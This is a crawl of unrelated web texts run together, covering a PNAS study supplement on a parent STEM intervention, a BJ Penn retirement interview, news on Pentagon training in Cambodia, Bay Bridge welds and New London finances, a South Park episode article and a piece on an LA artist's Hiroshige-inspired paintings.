parents encouraged me to take math and science courses”; “My parents have encouraged me to do well in my math and science courses.” α =0.84; response rate: 73%). This variable was used to assess if students in our intervention group viewed their parents as being more supportive of their STEM career pursuit than students in the control condition. Because this was not a primary student variable of interest, we only reported analyses on this variable in SI Results. Parents’ education level. Both parents reported on the number of years of education they received. Twelve years was equivalent to a high-school graduate, 16 y was equivalent to a 4-y college graduate, and greater than 16 y indicates some amount of graduate school. Mothers (mean = 15.42; SD = 2.10) and fathers (mean = 15.42; SD = 2.41) reported generally similar levels of education on average. A variable of parents’ average years of education was created by averaging the two variables (mean = 15.42; SD = 1.92; response rate: 100%). Preintervention standardized test scores. We collected Wisconsin 10th grade state mathematics and science standardized test scores (WKCE scores) from students’ high-school records to have a preintervention measure of students’ performance. The test was given in the fall of 10th grade, before the intervention. Students who attended private schools or out-of-state schools did not take Wisconsin state tests. A composite of students’ WKCE mathematics and science test scores (mean = 533.74; SD = 36.10; response rate: 60%) was created by averaging across their mathematics and science subscale scores. As reported in the main text, there was not a significant difference between intervention and control group students on WKCE mathematics and science test scores.
SI Results Variance Explained in Main Structural Equation Model. The main model of interest in the paper (all predictors included and allowed to predict all subsequent variables in the model) accounted for 9.1% of the variance for 11th and 12th grade mathematics and science course-taking, 25.0% of mathematics and science ACT score, 9.0% of students’ college STEM value, 31.9% of college STEM course-taking, 13.5% of STEM career aspirations, and 11.3% of college STEM major choice. Regression Analyses on ACT Scores. We conducted two additional regressions to address concerns about randomization. In the first regression, we tested whether the intervention affected mathematics and science ACT score, as we do in the main model in the paper, which involved regressing mathematics and science ACT score on the seven base predictors (intervention, students’ gender, parents’ education level, and the interactions between those variables). In the next regression, we ran the same model on the same dependent variable, but we included students’ preintervention mathematics and science test score measure in the analysis, which controlled for preintervention competence. When controlling for prior performance, there was a significant effect of the intervention on mathematics and science ACT score (z = 3.61, β = 0.20, P < 0.001), consistent with the analysis without controlling for prior performance (z = 2.45, β = 0.19, P < 0.05). Full results from these two regressions are reported in Table S3. From these analyses, the intervention has a consistent and significant positive effect on students’ mathematics and science ACT scores. Supplemental Structural Equation Model, Including Perceived Parental STEM Support. For this analysis, we estimated an identical model to the model described in the main text, except that we also included perceived parental STEM support as a posthigh-school outcome along with perceived STEM value, college STEM course-taking, STEM career aspirations, and college STEM major. The purpose of this analysis was to examine whether the intervention had a long-term effect on students’ perceptions of the amount of encouragement and support they had from their parents to pursue STEM careers, even years after the intervention. Brief, theory-based interventions are hypothesized to work via recursive processes, whereby a change in attitude helps to change behavior, which in turn supports the initial change in attitude (34). Here, we are able to test for part of this recursive process by examining the long-term effect of the intervention on students’ perceptions of how supportive and encouraging their parents are about STEM. Given the important roles that parents’ perceived attitudes have in students’ motivation (27, 33), it is useful to know if this parent-delivered intervention affected students’ long-term perceptions of their parents’ attitudes in addition to their own STEM attitudes and behaviors. Overall, although this was not a primary dependent variable of interest, it does speak to how a parent-centered intervention might have lasting effects on how students feel supported by their parents in STEM domains long after the initial interactions that were encouraged by the intervention. As with the primary model, this model is saturated, so there are not interpretable indices of model fit. All significant effects from the model reported in the main text remained significant in this supplemental model. New tests showed that mathematics and science ACT score was a significant predictor of perceived parental STEM support (z = 3.47, β = 0.38, P < 0.001), such that students with higher mathematics and science ACT scores reported greater levels of perceived parental STEM support. Additionally, there was a significant indirect effect of the intervention on perceived parental STEM support through high-school STEM course-taking and ACT scores (z = 2.13, P < 0.05). In all, the model explained 16.4% of the variance in perceived parental STEM support. Thus, this finding supports the recursive process theory of psychological interventions by demonstrating that the intervention affected perceptions of parental STEM support 5 y after the intervention through effects on high-school STEM course-taking and ACT scores.
Acknowledgments We thank Wisconsin Study of Families and Work research assistants for their help in conducting this research; Sian Beilock for helpful comments; members of our advisory board (Jacque Eccles, Adam Gamoran, Jo Handelsman, Jenefer Husman, Dominic Johann-Berkel, Ann Renninger, and Judith Smetana) for their guidance; and the families of the Wisconsin Study of Families and Work project for their participation over the years. This research was supported by National Science Foundation Grant Division of Research On Learning 0814750; and by the Institute for Education Sciences, US Department of Education, through Award R305B090009 and Grant 144-NL14 to the University of Wisconsin–Madison and through Award R305B140042 to Northwestern University. The opinions expressed are those of the authors and do not represent views of the National Science Foundation or the US Department of Education.
Footnotes Author contributions: C.S.R., J.M.H., C.S.H., and J.S.H. designed research; C.S.R., R.C.S., J.M.H., and J.S.H. performed research; C.S.R., R.C.S., J.M.H., and J.S.H. analyzed data; and C.S.R., R.C.S., J.M.H., C.S.H., and J.S.H. wrote the paper.
The authors declare no conflict of interest.
This article is a PNAS Direct Submission.
This article contains supporting information online at www.pnas.org/lookup/suppl/doi:10.1073/pnas.1607386114/-/DCSupplemental.It’s been exactly one month since we saw The Prodigy “SCRAP” for the last time inside the famed UFC octagon, that same octagon in which he helped build. The fight, Penn’s third battle against fellow former UFC lightweight champion Frankie Edgar, was what many are calling his worst performance to-date. And for the first time since that night, BJ Penn is talking to the media about his last fight as a prize-fighter.
BJPENN.COM: We haven’t really heard from you in a month, so just tell the fans what you’ve been up during the first month of retirement:
BJ Penn: “I’ve just been hanging out at home, hanging out on the big island, enjoying time with the family and just kind of putting everything into perspective.”
We know the fight didn’t go your way, but outside of that, what goes on in your mind following a life-changing decision like retirement?
“I wanted to come back and do around 5 fights but, you know, everything got cut short, so…”
“I’m the kind of guy that can keep himself busy. I don’t like to just sit around the house and do nothing. I love working, I love staying busy. I’ve just been trying to focus on what’s best for the website and focus on what’s next for all the gyms I got coming up.”
What is your opinion on how the fight went down?
“I went to show up and do my best job and things didn’t go my way. Hats off to Frankie Edgar; he fought a great fight. I went in there and I gave it my best effort, you know, and everything ended up the way it did.”
A lot of fans and media members have questioned the physical appearance of BJ Penn on fight night and have started formulating their own opinions about how healthy BJ really was heading into that fight.
What are your thoughts on that? Did we see BJ Penn at his best that night?
“Every time I step into the octagon I definitely plan on giving my best effort no matter what the circumstances are. If people didn’t think that I looked good that night then that’s just their opinion and their entitled to it.”
What was the game plan heading into the fight and what was the main cause or purpose of the differentiated fighting style that you incorporated that night?
“That boxing style, I’ve been using that for the past year and a half, two years, and we had a bunch of training partners come in and I did well with everybody.”
“The first training partners we brought in were Lowen Tynanes; the current ONE FC Champ, Russell Doane came in and then, after that, Dominick Cruz came in. After Dominick Cruz came in Nik Lentz came in, Mirsad Bektic and Nik Lentz came in together, and we had great success with everybody in training and sparring. You know, when you do something new you’re rewarded if you win and you’re criticized when you lose. I know that’s part of the game.”
“As far as how we were doing in training, using the style that we used in the fight, we were doing great. We had no problems training with anybody. There was nobody that just came in and wiped us out or anything like that, so, you know? That’s about all I can say about that.”
So if everything was looking good in camp and you seemed to be firing on all cylinders, what was the difference from then to fight night? Was it mental? Was it something that wasn’t right?
“Being a competitor myself I just have to take my hat off to Frankie, you know? He did a good job that evening.”
In hindsight was going down to featherweight the wrong move to make?
“I keep going back about a lot of things…was it even smart to go down to 145 pounds in the first place? Were you going to have the energy all sucked out, you know? I haven’t been to 145 in about 18 years but besides that this whole last year of my life I’ve been just hanging around 160 pounds, trying to watch my weight after the Rory MacDonald fight. I just wanted to watch my weight for general health for myself and my family, and I just stayed around 160 pounds. So, you know, that’s what I sparred at, I sparred at that weight, at 158 pounds, so, you know, that’s just how it all went down.”
How was the weight cut specifically? How did it all go as a whole?
“Actually, cutting the weight down was pretty easy for me. I stayed disciplined. I didn’t go out and mess around. I’m actually more disciplined than people think or what they give me credit for. The weight cut, of course, is never going to be easy. Going down to a weight that you’ve never been down to in your life, but besides that I stayed disciplined and I made the weight. One thing that I can say is that I stayed disciplined and I made the weight.”
What was your overall experience in working with Mike Dolce for the weight cut and nutrition?
“As far as Mike Dolce goes; I would never hire him again for anything.”
Would you like to elaborate?
“No, that’s it. Next question.”
The subject quickly shifted and BJ was then asked the golden question that many fans have been pondering for the last month:
BJ, are you going to stay retired?
“I think I should stay retired. One thing I know is that I put a lot of effort, a lot of energy into this camp. I trained for the last year to do this camp, to do this fight, and one thing at my age…I love training, I was looking to do five fights, but now that I look back and I’ve fought the last four or five times without any reward and staying in training camps and waiting for all these young kids to come in and spar with me; the Dominick Cruzes, the Nik Lentzes. You know? I just sit around for hours on end waiting for them to come in and spar with me and punch me in my face. And not that I don’t hold my own but I’m getting very burnt-out, very exhausted, and very discouraged to not have my hand raised, to not have a smile on my face after the fight, and it’s been a long road and a long fight. If you saw me spar in the gym or workout with any of these guys you would say, ‘man, this guy should be fighting everybody.’ But after the last few fights I’m kind of getting tired.”
Is there anything specific that you can attribute to you putting together these great camps and then falling short come fight night?
BJ laughingly replied,
“The famous saying goes, if we didn’t have bad luck we’d have none at all.”
He continued,
“I don’t know what it is. I know I can still fight with these guys but I’m not going to sit here and tell everybody…”
“Mistakes are made in the camp. Here or there, all it can be is either we don’t belong fighting or there were mistakes made in the camp.”
Does age ever cross your mind as the reason for you losing fights?
Without a doubt. I wouldn’t say it’s just the age or the number, that I’m 35, because there are fighters out there who are older than me that are fighting at my age or a year younger and they’re doing fine. I would say, yeah I would say it has to be the age. If I have to pin it on anything I would say…but I love this stuff. I love the training, I love all this stuff but maybe the age, I’m at the point where sitting around for a couple of months waiting for your sparring partners to get there…maybe that’s just something I don’t want to do anymore. Who knows? I don’t know. I could have sworn everything was good this last camp but, you know, things ended up that way.”
Do you think that you will ever compete in one of the fast-rising grappling competitions, like Matamoris?
“When it comes to the competition aspect of anything I just love the Ultimate Fighting so much. I’ve been involved with it for so long. I’m just so used to training for a fight, in those ways, you know, it’d be tough to go back to anything else. I’m not totally counting myself out from doing any professional grappling competitions but one thing that would be different is, I wouldn’t train at all for it.”
“I cannot see myself spending money, bringing people down and this and that, for a grappling competition at this point in my life.”
What is the future of BJ Penn?
“I’m going to keep the same fire I used to get to the top of mixed martial arts and I’m going to do all of that with the businesses that I have; with BJPenn.com, with the BJ Penn UFC Gyms. I’m going to keep moving, keep moving forward, putting one foot in front of the other and enjoy my life. Enjoy my family. You know, there’s still a lot of fight left inside of me but I guess that’s where it’s going to stay for now.”
In conclusion BJ had this to say about longtime striking coach, corner man, and friend, Jason Parillo:
“I owe it to Jason Parillo to clear his name. He showed up the week of the fight in Vegas to help corner me. He did not train me in any boxing nor did he help with any game planning for the fight. He did not help or give any advice about cutting the weight or rehydrating myself after the weigh-in. He was only there to be a voice in the corner.”
We would like to sincerely thank BJ Penn for taking the time to share his thoughts with all of the fans here at BJPenn.com and we wish him all the best in his future outside the octagon. We all know you will be a champion outside the cage just as much as he was inside it. Thanks for all the great memories BJ. We look forward to hearing great things about you, your gyms, and your family. Mahalo.The Pentagon is expanding counterterrorism assistance to unlikely corners of the globe as part of a strategy to deploy elite Special Operations forces as advisers to countries far from al-Qaeda’s strongholds in the Middle East and North Africa.
Much of the new assistance is being directed toward countries in Asia and has been fueled by the Obama administration’s strategic “pivot” to the region. In Cambodia, for example, the Defense Department is training a counterterrorism battalion even though the nation has not faced a serious militant threat in nearly a decade.
The training has persisted despite concerns about the human rights record of Cambodia’s authoritarian ruler, former Khmer Rouge commander Hun Sen, who in the past has relied on his military to execute and intimidate political opponents.
President Obama, Defense Secretary Leon E. Panetta and Secretary of State Hillary Rodham Clinton are scheduled to make rare visits to Cambodia this week and next to attend a regional summit.
Panetta arrived Friday for meetings in the city of Siem Reap and met one-on-one with Tea Banh, Cambodia’s defense minister.
(Laris Karklis/The Washington Post)
Afterward, Panetta told reporters that he emphasized the Obama administration’s support “for the protection of human rights, of civilian oversight of the military, of respect for the rule of law, for the right of full and fair participation in the political process, here in Cambodia and throughout Southeast Asia.”
His comments on human rights and democracy were apparently a late addition; they were not included in his prepared remarks.
The decision to embrace Cambodia has prompted criticism from human rights groups and several U.S. lawmakers, who accuse the Obama administration of pursuing closer military and diplomatic ties with countries in China’s back yard at the expense of democratic reforms.
“We’ve been yelling at the White House for a month and a half that [Obama] shouldn’t go because the human rights situation in Cambodia is so bad,” said John Sifton, the Asia advocacy director for Human Rights Watch. This week, the group issued a report documenting a long list of unsolved political killings in Cambodia.
The White House is also hearing complaints about Obama’s decision to become the first U.S. president to visit Burma, an isolated country controlled for decades by a repressive military. In recent months, Burmese rulers have allowed limited free elections and released political prisoners, but their commitment to democratic reform remains uncertain.
U.S. military leaders said they are eager to bolster relationships with countries across Asia, even those with checkered human rights records, but are careful to do so in a way that encourages reforms and does not ignore abuses.
Last month, Lt. Gen. Francis J. Wiercinski, the commander of U.S. Army forces in the Pacific, became the first American military officer in a quarter-century to visit Burma. He later said in an interview that the Pentagon would like to gradually build a relationship with the Burmese military, but only if it meets strict human rights criteria established by Congress, the White House and the State Department.
“They set the tone for what we can do and when we can do it,” Wiercinski said. “I follow the law.”
The assistance to Cambodia comes as the Pentagon, with little public notice, has deployed
teams of Special Operations forces to train counterterrorism and special-warfare forces in the Philippines, Bangladesh, Indonesia and Cambodia, despite concerns about human rights abuses in those countries. The U.S. military resumed relations in 2010 with Indonesia’s special forces, a group accused of atrocities during the country’s years of authoritarianism.
Invested in relationship
Cambodia is a special case because of its brutal history. It is scarred by the 1970s genocide carried out by the Khmer Rouge, a communist movement that killed one-fifth of the population.
In recent years, the U.S. government has kept a careful diplomatic distance from Hun Sen, the prime minister who consolidated political control after a bloody 1997 coup and has |
who was shot at as he stood in front of an East Side convenience store last week was struck by a bullet when his own gun went off, according to an arrest warrant affidavit.
Police had responded to a shooting in the 900 block of F Street around 4:15 p.m. Feb. 12.
Police initially reported that Brion Lorence Alezander Shields, 27, had been shot as he fled from assailants who fired on him at the convenience store at Morningview Drive and Wheatley Avenue.
Shields fled to a nearby home as his attackers pursued him in a car, still shooting, according to the affidavit.
When officers found Shields, he was bleeding on a porch in the 900 block of F Street with a gunshot wound to his groin area, the affidavit said.
Shields was taken to San Antonio Military Medical Center in stable condition, officers said.
Investigators later determined that Shields suffered the wound when a gun he held in his waistband went off.
He was arrested Tuesday and charged with being a felon in possession of a firearm along with other charges from an unrelated incident last year.Bay Bridge designer warned Caltrans in 2010 of weld weakness Engineer warned Caltrans in 2010 of possible vulnerability after quake
A worker uses a lift to reach the underside of the eastern span of the Bay Bridge this month. The bridge is designated as a structure that can carry emergency traffic within a day of a major earthquake, but welds are raising questions about its reliability. less A worker uses a lift to reach the underside of the eastern span of the Bay Bridge this month. The bridge is designated as a structure that can carry emergency traffic within a day of a major earthquake, but... more Photo: Michael Short, Special To The Chronicle Photo: Michael Short, Special To The Chronicle Image 1 of / 22 Caption Close Bay Bridge designer warned Caltrans in 2010 of weld weakness 1 / 22 Back to Gallery
The lead designer of the new Bay Bridge eastern span warned Caltrans in 2010 that welds used to hold ill-fitting steel road-deck sections together were vulnerable to damage in a major earthquake, documents obtained by The Chronicle show.
Marwan Nader of San Francisco engineering firm T.Y. Lin International said the nonstandard welded connections that Caltrans ultimately accepted on the project would probably suffer only limited, "local damage."
But several experts interviewed by The Chronicle said Caltrans' decision to accept the defective joints could undermine a key feature of the $6.4 billion span - its ability to be open to traffic soon after a quake.
The Bay Bridge is designated as a "lifeline" structure - guaranteed to carry emergency traffic within a day of a major earthquake. If the welded connections holding the road-deck steel sections together are severely damaged, that's unlikely to happen, experts said.
"This span is not robust to begin with," said Bob Bea, a UC Berkeley professor emeritus in civil engineering. "We can't predict exactly how the bridge could fail, but with this issue there is a high likelihood of trouble in its ability to serve as a lifeline structure."
Crucial meeting
Nader issued his warning on Oct. 15, 2010, in a meeting with bridge contractors, outside consultants, top Caltrans officials and three engineers on the bridge project's seismic peer review panel, according to minutes of the meeting obtained by The Chronicle.
The welded connections link giant steel sections - almost 90 feet wide and 18 feet high - that were fabricated by Zhenhua Heavy Industries Co. in Shanghai. The problem for Caltrans and the bridge builders was that when they arrived in the Bay Area in 2010 and were put in place on the suspension portion of the span near Yerba Buena Island, the sections didn't quite fit together correctly.
The sections appeared to line up properly when they were laid on the factory slab in China. Once they arrived and were bolted together for use on the span, however, they no longer fit together the same way.
'Simple mistake'
Ted Hall, a consultant working on the bridge project, said the fabricators had made a "very simple mistake" - they used one method to put the steel sections together on the ground in China, but that method did not replicate how they would behave when suspended on a bridge.
Hundreds of the Chinese fabricator's welds on the steel structure were cracked and had to be repaired, problems that were detailed in a recent report for a state Senate committee. In this instance, however, the welds that had to be used to bind the steel deck structures were made on-site at the Bay Bridge by the lead U.S. contractor.
The issue was not the welds themselves, but the role they had to play in linking misaligned steel sections on the span.
Bending rules
To allow the welded connections, the lead contractor, American Bridge/Fluor Enterprises, needed Caltrans to exempt it from the agency's own standards and the American Welding Society's code for bridges. Both specify that the vertical gap between two pieces of steel on a bridge can be no more than an eighth of an inch.
Many of the Bay Bridge joints on the steel sections were off by as much as three times the acceptable level. But American Bridge/Fluor Enterprises was facing pressure to finish the long-delayed eastern span, as was Caltrans. In early 2011, the agency agreed to the nonstandard connections.
As a result of that decision, the bridge decks have several connections that have extra stress on them, which could lead to significant damage to the road deck in an earthquake, some experts said.
Bea, the professor emeritus at Berkeley, likened an extended welded connection to a dent in an aluminum can.
"When you think of a beer can between two large hands, if you have a small dent in the beer can, it will collapse very easily," Bea said. "It's how we impress a lady in a bar - but it's no way to build a bridge."
'Local damage'
In his 2010 briefing, Nader noted that the steel decks are topped with 2 inches of asphalt, which helps distribute the loading and stress caused by constant traffic.
But with the added force of a quake, he said, the connections between the steel structures could be damaged.
The quake stresses "will be well above yield, and it is anticipated that local damage may occur at these locations," Nader said, citing a study T.Y. Lin International had performed, according to minutes of the meeting.
Nader was not available to comment about the issue, bridge officials said.
'I'll accept that'
Caltrans' chief engineer on the project, Brian Maroney, responded at the 2010 meeting that some damage was "inevitable and manageable" in a major quake, but that it wouldn't have long-term effects on the bridge's ability to carry traffic. It could result in some lanes being shut down for inspection or repairs, he said.
In an interview, Maroney said he recognized that the welded connections could be damaged in a quake.
"We can bend the steel, or yield it - I call that damage. It is damage," Maroney said. "But will it not allow a truck to go over it? Will it mean a bridge will not perform for the community? No. So I'll accept that."
Maroney said he had consulted the peer review panel and other Caltrans engineers before making the call. "That kind of damage is minor compared to what is the standard in earthquakes," he said.
Need to improvise
Martin Pohl, a retired Caltrans steel expert, said the welded connections that Caltrans accepted are more prone to damage in an earthquake. But on a huge infrastructure project, he added, engineers have to be willing to improvise.
"Sometimes you have to make an assessment of whether you think it is a big deal," he said. "If it's local, it is not catastrophic to the entire bridge - sometimes you are forced to accept things that do not meet the specification."
A welding consultant hired by the Metropolitan Transportation Commission to audit the project, Alan Cavendish-Tribe, said bridge builder American Bridge/Fluor Enterprises should have been more vigilant when the deck sections were being fabricated. But he said in an interview that "what we now have, in terms of the finished deck, is satisfactory."
Joseph Nicoletti, a former member of the peer panel who was part of the discussions in 2010, said he too believes the deck will hold up in a quake.
"Anytime you have yield, you are going to have damage," but such damage is likely to be inconsequential, he said.
"If we were concerned, we would have spoken up at the time. We had no ax to grind either way."
Asked about Nader's warning, he said, "That's his opinion - he has to cover his bottom."
'Beauty of steel'
John Fisher, another member of the peer panel, agreed that the weld connections could be damaged in a quake but said it was "not a serious issue."
He said the panel heard what Nader had to say about likely quake damage, but "we disagreed with that."
"The beauty of steel," Fisher said, is that it is "able to absorb a lot of energy. It is going to yield, but I don't consider that to be catastrophic."
But Don Rager, an independent consultant who was involved in assessing other welds on the bridge - and who has long served on the American Welding Society's bridge welding standards board - said Nader's warning should be taken seriously.
He agreed that welded connections between misaligned steel plates could be stretched and twisted in a major quake, and that a significant aftershock could tax them to the breaking point.
"I won't argue with what Marwan said," Rager said. "His word is as good as they come."
No hard questions
Abolhassan Astaneh, a UC Berkeley structural engineering professor and frequent critic of the bridge, said his review of the 2010 meeting notes and other documents provided by The Chronicle led him to conclude that Caltrans and its consultants hadn't looked closely enough at Nader's warning.
No one asked Nader at the meeting to describe the forces that led him to issue his warning, Astaneh said.
"They did not ask Marwan what kind of damage he was talking about," Astaneh said. "Because that damage could mean a fracture throughout the deck, and this bridge cannot tolerate that kind of fracture."
He noted that the bridge builders had kept steel backing bars - normally used only temporarily to keep molten metal from falling through during welding - in place at the welded connections. The bars are angled to account for height differences between the deck sections.
"It's a mess," Astaneh said.
Such backup bars being left in place on Southern California structures contributed to cracks and failures during the Northridge earthquake in 1994, Astaneh said.
Bea said the weld-connection issue is a sign that the bridge was built to the edge of safety margins.
"All of these decisions lead to an erosion of your margin of quality, a factor of safety," Bea said. "If you are close to a cliff, you don't want to keep on walking until you fall off. With the self-anchored span, there is not much margin before you reach the edge."This article is about the South Park episode. For the character, see Towelie (character)
8th episode of the fifth season of South Park
"Towelie" is the eighth episode of the fifth season of the American animated sitcom South Park, and the 73rd episode of the series overall. It originally aired on Comedy Central in the United States on August 8, 2001. In the episode, the boys attempt to recover their stolen video game console from the middle of a feud between a paramilitary group and extraterrestrials.
The episode was written and directed by series co-creator Trey Parker and is rated TV-MA in the United States, except on syndicated broadcasts, where the episode is instead rated TV-14. It features the first appearance of recurring character Towelie, created to satirize the degree to which South Park was being merchandised.
Plot [ edit ]
While at Stan's house, Cartman discovers a used tampon in the garbage which he mistakes for an aborted fetus. In an effort to get the kids never to mention the tampon again, Stan's mother buys the kids a video game system, the Okama Gamesphere. The boys are completely fascinated by the Okama Gamesphere and intend to play with it for the entire weekend, without sleeping. During their playing, a talking towel called "Towelie" comes in whenever they mention any subject involving water and advises them to keep a towel handy, before asking if they want to get "high". However, the boys largely ignore him and tell him to go away.
When Monday comes around, the boys are forced to go to school. At the bus stop, a car pulls up and a man in the car asks if the boys have seen a talking towel anywhere. When the boys ask if he is talking about Towelie, the man yells into a walkie-talkie, then looks at the boys suspiciously before driving off. After school, the boys run to Stan's house, but the Okama Gamesphere is not there. In its place is a ransom call, saying that if the boys want to get their Okama Gamesphere, they will have to take Towelie to a secluded gas station during the night. The boys locate Towelie and take him to the gas station. An elderly man that works for the company that made Towelie is there, and he thanks the boys for bringing Towelie to him. When the boys ask for their Okama Gamesphere, the old man realizes that it is a trap, and the United States Military ambushes them. During the fight, Towelie and the boys escape.
Before the episode goes to a commercial break, what appears to be a fake commercial is shown advertising Towelie merchandise. However, when this episode first aired, the T-shirts shown were available over a Comedy Central 1-800 line.[1]
For the rest of the episode, the boys and Towelie go back and forth between a military base and the company that made Towelie (Tynacorp) in an effort to get their Okama Gamesphere. The plot gets increasingly thick, involving aliens trying to take over Earth using genetically modified towels. Throughout the story, the boys show no interest in these revelations, as they single-mindedly want nothing more than to retrieve their Okama Gamesphere; in spite of their utter indifference, the increasingly complicated plot continues to surround them and the two sides attempt to play them against the other. In the midst of a confrontation between the military and Tynacorp, the boys find their Okama Gamesphere, but before they can play for long the building is blown up in order to kill the aliens that want to rule the world. Kenny falls in a pool of lava, but the other boys and Towelie escape with the Okama Gamesphere. The boys and Towelie then go home and play the Okama Gamesphere. As they share a laugh, Cartman comments to Towelie, "You're the worst character ever, Towelie", to which he complacently replies, "I know."
Production [ edit ]
Towelie's catchphrase, "don't forget to bring a towel", originated on a boat trip the writers took, during which people were constantly telling each other "don't forget to bring a towel" with the phrase having eventually morphed into "Towelie says to bring a towel." Parker and Stone have explained that they were becoming increasingly aware as to how heavily merchandised and exploited their creations were becoming, and created Towelie to poke fun at this. They designed Towelie as a shallow, two-dimensional (both literally and figuratively) character who has no real purpose except to "spout catch phrases and merchandise the hell out of". This is the reason for the fake commercial during the show, and why Cartman calls him the "worst character ever" at the end of the episode.[2]
Shortly after "Towelie" was originally broadcast, South Park Studios, the official South Park website, featured T-shirts and hooded sweatshirts based on the episode. The shirt design featured a waving Towelie saying, "Don't forget to bring a towel".[3]
The console in "Towelie" was originally a PlayStation 2, whose name was used during the production of the episode, in its storyboards and scripts.[4][5]
Home release [ edit ]
"Towelie", along with the fourteen other episodes from South Park: the Complete Fifth Season, were released on a three-disc DVD set in the United States on February 22, 2005. The sets included brief audio commentaries by Parker and Stone for each episode.[6]
References [ edit ]New London — As the City Council on Wednesday took the next step toward bonding $1.1 million to bolster the city's feeble fund balance, a handful of residents voiced their discontent with the plan.
By a 4-3 vote, the council passed the second reading of an ordinance that would authorize bonding $1.1 million to replace money the city took from the fund balance when projects ran over budget.
Councilors Michael Passero, Martin T. Olsen and Michael J. Tranchida voted in opposition. The ordinance passed its first reading by the same vote on Monday, and will require a third and final vote.
But some of the residents who spoke during public comment urged the council to reconsider the plan.
"You have to treat this like it's your own money because it is your own money. You have to treat this like you're making decisions for your own family because it is your own family," said Reid Burdick, a former city councilor. "You don't bond money and indebt your kids and grandkids for 20 years because this month you're a little short on money."
On Monday, Mayor Daryl Justin Finizio announced that the city had $400,000 in the bank and would not be able to make its $1.7 million payroll this Friday. The mayor conferred with Gov. Dannel P. Malloy, who agreed to help expedite payment of $11 million in state Education Cost Sharing funds that were going to be paid April 30. That money will be transferred into the city's coffers in time to meet payroll.
Laura Natusch, Finizio's chief administrative officer, said she understands the objections to borrowing for operating expenses.
"It's not a good idea to buy groceries on credit. On the other hand, if you don't have a lot of cash on hand, you'd borrow to repair a roof," Natusch said. "Essentially, in the past, the city used its grocery money on roof repairs, and now the refrigerator is empty."
Earlier this month, the City Council sanctioned the bonding of $4.4 million to account for state grant funding the city has never collected, and to pay for vehicle purchases made last year that were originally going to be paid from the general fund.
In addition to bonding the $1.1 million the council is considering now, the fund balance replacement plan the mayor and the finance director have proposed consists of two additional steps, both of which were approved by the council Monday.
The council adopted resolutions that require it to budget at least $250,000 in each upcoming fiscal year for fund balance replacement and mandates that proceeds from the sale of city-owned real estate must go into the fund balance.
Also, the council's Finance Committee requested that Finance Director Jeff Smith present it with revised budget proposals for the 2014-15 fiscal year. Finizio had proposed a budget that includes a 7.24 percent increase. The Finance Committee asked that Smith give them budgets that would represent increases of 2.5 and 5 percent.
Councilors Wade A. Hyslop, Erica Richardson and Passero - who comprise the Finance Committee - indicated a desire to reduce the number of new personnel positions that would be funded in the budget for the police and public works departments.
The Finance Committee will meet again Monday to review Smith's revised budgets and is expected to make a recommendation to pass the budget to the full council.
c.young@theday.comCalifornian Coyotes by Barbara A. Thomason, cel vinyl on illustration board (2008)
Japanese Accents: This series of articles showcases Southern California artists whose works integrate elements of Japanese art and design, yet speak boldly about our contemporary SoCal lives. Some are Japanese American; others have no blood connection with Japan but have discovered something Japanese that resonates with their artistic vision.
In the late 1850s, Japanese artist Utagawa Hiroshige designed a series of woodblock prints depicting views of his native city Edo (modern Tokyo). His printed series One Hundred Famous Views of Edo was so popular that its publishers reprinted it many times. Over 150 years later, Los Angeles printmaker Barbara A. Thomason, inspired by Hiroshige's ambitious urban portrait, spent five years documenting her own city in a similar artistic project. Her series of paintings, One Hundred Not-So-Famous Views of Los Angeles steers clear of celebrated tourist spots, instead depicting the freeways, rivers, restaurants, street signs, buildings, neighborhoods and landscapes that are familiar and dear to the people who call L.A. home.
Thomason has lived and worked most of her life in Los Angeles. She received a Master's degree in Printmaking at California State University, Long Beach, and after graduation she joined Gemini G.E.L. (Graphic Editions Limited), an artists' workshop and publisher of limited-edition, hand-made prints on Melrose Avenue. For three years, Thomason worked as a master printer in lithography for such renowned artists as Jasper Johns, Frank Stella, Claus Oldenberg and Elsworth Kelly. Since then, she has widely exhibited her prints, paintings and sculptures in the Los Angeles area and has taught at several local colleges, including Cal Poly Pomona, where she currently teaches printmaking.
Over her 30 years as a working artist, her prints, paintings and public art pieces have portrayed aspects of urban life, while her sculptures have focused on more personal themes. In 2007, she needed a break from the personal in her art and was seeking inspiration. She found it at the Art Institute of Chicago, where she saw some prints from One Hundred Famous Views of Edo series by Japanese artist Utagawa Hiroshige (1797-1858), a series which depicts the city's famous bridges, streets, shrines, temples and picnic spots. These city views are masterpieces of Japanese graphic design. Vertical in format and measuring roughly 16" by 11", the prints are characterized by bold compositional elements - tree branches, bridge posts, kites or hawks - in the foreground, which frame and often contextualize the main scene. In one image, famously copied in oils by Vincent Van Gogh in the 1880s, a view of the Edo plum garden is framed through the gnarled branches of one of the old trees. Using a printing technique known as bokashi to create color gradation, Hiroshige was also able to represent the changing hues of a sunset or twilight sky, thus imbuing the views with a sense of time. In one of the best known views, Sudden Shower at Ohashi Bridge (1857), also copied by Van Gogh, Hiroshige added weather too, rendering a sudden downpour over an arching wooden bridge with sharp lines slashing diagonally across the image.
2nd Street and Glendale Bridge in the Rain by Barbara A. Thomason, cel vinyl on illustration board (2011), painted in homage to Hiroshige's Sudden Shower at Ohashi Bridge (1857)
Thomason had first fallen in love with Japanese prints in her twenties, and had some prints of her own given to her by a Japanese boyfriend. After her Chicago visit, she decided to create a series of views of Los Angeles that would pay homage to Hiroshige's monumental artistic accomplishment while also allowing her to paint something beyond the personal. From the Japanese master, she borrowed the theme, the rough size and format - all 14"x 9" vertical - and the bokashi technique of color gradation. The rest is pure Los Angeles, starting with her choice of medium - cel vinyl, the material used to paint cels in the animation industry. "I love the look of cel vinyl," explains Thomason. "It allows me to build up layers of color to create depth in my paintings, and it resembles woodblock printing ink in texture and tone. It's also a local material, made near the MGM studios."
Felix by Barbara A. Thomason, cel vinyl on illustration board (2007)
One of the first views she painted was a view of the Felix the Cat sign that sits atop the Felix Chevrolet dealership at Figueroa and Jefferson. Though the spot is by no means a tourist destination, it is probably recognizable to most Angelinos. It also symbolizes two important aspects of L.A. culture - cars and movies, something Thomason acknowledges in her iconic treatment of the building, looming above an empty street and below a vast evening sky. Another L.A. icon, Union Station, has been given a unique treatment as the only interior in the series. Here, bright morning light radiates through the ticket hall and lounge, illuminating the intricate ceilings and chairs of this beloved Art Deco transit terminal.
Interior Union Station by Barbara A. Thomason, cel vinyl on illustration board (2010)
In many of her paintings, Thomason nods to Hiroshige by placing an animal or bird in the foreground. In a view of the Silver Lake Reservoir, the viewer peeks through a metal fence at a red dragonfly in the foreground and water and bushes in the distance. Though depicted through a man-made barrier, the scene is a softly rendered, tranquil view of nature.
Silverlake Reservoir with Black Balls by Barbara A. Thomason, cel vinyl on illustration board (2011)
